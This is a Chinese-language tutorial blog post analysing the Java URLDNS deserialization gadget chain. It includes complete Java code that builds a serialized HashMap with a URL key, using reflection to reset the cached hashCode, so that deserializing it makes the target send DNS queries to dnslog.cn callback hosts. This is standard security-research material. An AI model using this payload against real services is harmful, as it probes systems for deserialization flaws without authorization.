zoukankan      html  css  js  c++  java
  • URLDNS分析

    0x01、概述

    之前写的多多少少有点毛病,然后期间做项目什么的,忘的差不多了,就重新再写一下,发到博客上面;URLDNS一般用于探测是否存在反序列化漏洞从而诞生的

    在序列化 HashMap 类的对象时, 为了减小序列化后的大小, 并没有将整个哈希表保存进去, 而是仅仅保存了所有内部存储的 key 和 value。所以在反序列化时, 需要重新计算所有 key 的 hash, 然后与 value 一起放入哈希表中。而恰好, URL 这个对象计算 hash 的过程中用了 getHostAddress 查询了 URL 的主机地址, 自然需要发出 DNS 请求

    要构造这个Gadget,只需要初始化⼀个 java.net.URL 对象,作为 key 放在 java.util.HashMap中;然后设置这个 URL 对象的 hashCode 为初始值 -1 ,这样反序列化时将会重新计算其 hashCode ,才能触发到后⾯的DNS请求,否则不会调⽤ URL->hashCode()

    0x02、demo分析

    通过上面构造gadget概述这,我们知道了需要一个URL对象,并作为hashmap的key即可。这时候提出需求

    1、需要有java.net.URL对象

    2、创建的map中key需要为URL对象

    3、需要将HashCode初始值为-1

    package org.example;
    
    import java.net.MalformedURLException;
    import java.net.URL;
    import java.util.HashMap;
    
    public class test {
        public static void main(String[] args) throws MalformedURLException {
            HashMap map = new HashMap();
            URL url = new URL("http://hb4x89.dnslog.cn");
            map.put(url,"edhdhdh");
    
        }
    }
    

    我们观察demo,发现没有将初始值设置为-1,依然可以触发dns请求。那么这是怎么回事,我们跟下去看看

    入口点为map.put()处,为什么呢?因为map设置值就是用put,同时put方法里有我们想要的东西;我们继续跟下去看看

    发现此处putVal()方法中调用了hash()。hash这方法干嘛?我也不知道,我们进去看一下就知道了

    我们可以发现这是进行了判断,如果为空,则为0;不为空,则进入到后面这个算法中。这时候我们应该想起hashmap的特点

    HashMap类:键唯一,键值对存取无序, 由哈希表保证键唯一。hashcode方法返回该对象的哈希码值
    

    这一切就理所当然了,那么我们继续往下看看hashcode()干了什么事

    那为什么hashCode=-1呀?

    因为URL类中已经定义了hashcode为-1,所以我们就可以直接进入下一条语句中,去调用了新的一个hashcode

    ![image-20210901150220346](/Users/m1ng/Library/Application Support/typora-user-images/image-20210901150220346.png)

    到这里其实就不用调试了,可以看到它这边发起了DNS请求。然而我这边只是一个demo,自己发起的,那么实际中我们得发送payload,让目标去发起请求。

    0x03、URLDNS链分析

    我们从demo中可以看到main函数里面短短三行就发起了请求,那我们以序列化数据形式呢?思考下我们怎么构造利用链?

    1、为什么发起的dns请求?

    2、目标类是否可以序列化

    其实看demo最后一行,不难猜想到其实就是hashmap的put方法开始。那么我们是不是可以看看hashmap可以被序列化吗

    我们看到serializable就可以放心了,说明是可以被序列化,那么我们就开始构造利用链吧

    要求一致:

    1、需要有java.net.URL对象
    
    2、创建的map中key需要为URL对象
    
    3、需要将HashCode初始值为-1
    

    代码如下:

    import java.io.FileInputStream;
    import java.io.FileOutputStream;
    import java.io.ObjectInputStream;
    import java.io.ObjectOutputStream;
    import java.lang.reflect.Field;
    import java.net.MalformedURLException;
    import java.net.URL;
    import java.util.HashMap;
    
    public class test {
        public static void main(String[] args) throws MalformedURLException {
            HashMap map = new HashMap();
            URL url = new URL("http://mq82wx.dnslog.cn");
            map.put(url,"edhdhdh");
    
            try{
                FileOutputStream fileOutputStream = new FileOutputStream("./urldns_test.ser");
                ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream);
                outputStream.writeObject(map);
                outputStream.close();
                fileOutputStream.close();
    
                FileInputStream fileInputStream = new FileInputStream("./urldns_test.ser");
                ObjectInputStream inputStream = new ObjectInputStream(fileInputStream);
                inputStream.readObject();
                inputStream.close();
                fileInputStream.close();
            }catch(Exception e){
                e.printStackTrace();
            }
    
        }
    }
    

    我们直接将map去序列化出来然后再去通过readObject去进行一个反序列化;通过下面这张图可以知道,这个map,即是我们的载体;

    可以发现这边请求了两次,为什么呢?我们看代码其实可以发现,我们在生成序列化数据前,已经进行了一次put了

    我们通过这张图可以看出什么?看出调用了HashMap#readObject(),里面则看到了老熟人putVal

    发现put方法里面也存在putVal,是不是很奇怪,很疑惑。前面我们调试的是put,接下来怎么就是readObject()??

    疑惑归疑惑,我们接下来往下看就知道了,其实我们可以知道readObject()是读取出了key和value

    那么我们F7跟进去看看是怎么样子的

    发现非常眼熟,就是HashMap中的hash方法,和put中的hash一样。那么结果就不用说了,直接就触发DNS请求了。真的如此吗?

    发现这是怎么回事,为什么hashcode不是-1呢?这也就是为什么我们需要设置hashcode的值为-1,多次执行大家就可以发现有时候dns请求了1次,有时候则请求了2次。那么我们得稳定呀,不能这样子搞。那我们想想怎么解决;

    解决问题:

    1、编译过程不触发DNS请求

    2、初始化hashcode值为-1

    解决问题1:

    因为是私有方法,我们需要通过发射进行修改属性(这个步骤看不懂的建议看看反射)

    public class test {
        public static void main(String[] args) throws MalformedURLException, IllegalAccessException, ClassNotFoundException, NoSuchFieldException {
            HashMap map = new HashMap();
            URL url = new URL("http://m89inc.dnslog.cn");
          
            Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
            f.setAccessible(true); // 修改访问权限
            f.set(url,123); // 设置hashCode值为123,这里可以是任何不为-1的数字
            System.out.println(url.hashCode()); // 获取hashCode的值,验证是否修改成功
    
            map.put(url,"edhdhdh");
    
        }
    }
    

    这时候其实可以发现put已经没有发起dns请求了,但是我们还是调一下看看

    发现问题1已经解决了。那么我们在想下问题2怎么解决?其实问题1是通过反射中的set方法设置hashcode的值,那我们干嘛不能通过反射中的set去设置为-1呢?

    通过上图我们可以发现其实完全满足了要求了,那我们现在封装到序列化中执行一下看看

    完整代码:

    package org.example;
    
    import java.io.FileInputStream;
    import java.io.FileOutputStream;
    import java.io.ObjectInputStream;
    import java.io.ObjectOutputStream;
    import java.lang.reflect.Field;
    import java.net.MalformedURLException;
    import java.net.URL;
    import java.util.HashMap;
    
    public class test {
        public static void main(String[] args) throws MalformedURLException, IllegalAccessException, ClassNotFoundException, NoSuchFieldException {
            HashMap map = new HashMap();
            URL url = new URL("http://u.s84msd.dnslog.cn");
            Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
            f.setAccessible(true); // 修改访问权限
            f.set(url,111); 
            //System.out.println(url.hashCode());
            map.put(url,"edhdhdh");
            f.set(url,-1);
            try{
                FileOutputStream fileOutputStream = new FileOutputStream("./urldns_test.ser");
                ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream);
                outputStream.writeObject(map);
                outputStream.close();
                fileOutputStream.close();
    
                FileInputStream fileInputStream = new FileInputStream("./urldns_test.ser");
                ObjectInputStream inputStream = new ObjectInputStream(fileInputStream);
                inputStream.readObject();
                inputStream.close();
                fileInputStream.close();
            }catch(Exception e){
                e.printStackTrace();
            }
    
        }
    }
    
    
  • 相关阅读:
    SCAU 9504 面试
    SCAU 9503 懒人选座位
    SCAU 8628 相亲
    SCAU 10691 ACM 光环
    SCAU 8626 原子量计数
    SCAU 10674 等差对
    HDU ACM 1048 The Hardest Problem Ever (水题)
    SCAU 9502 ARDF
    SCAU 10686 DeathGod不知道的事情
    SCAU 8629 热身游戏(高精度)
  • 原文地址:https://www.cnblogs.com/0x7e/p/15215101.html
Copyright © 2011-2022 走看看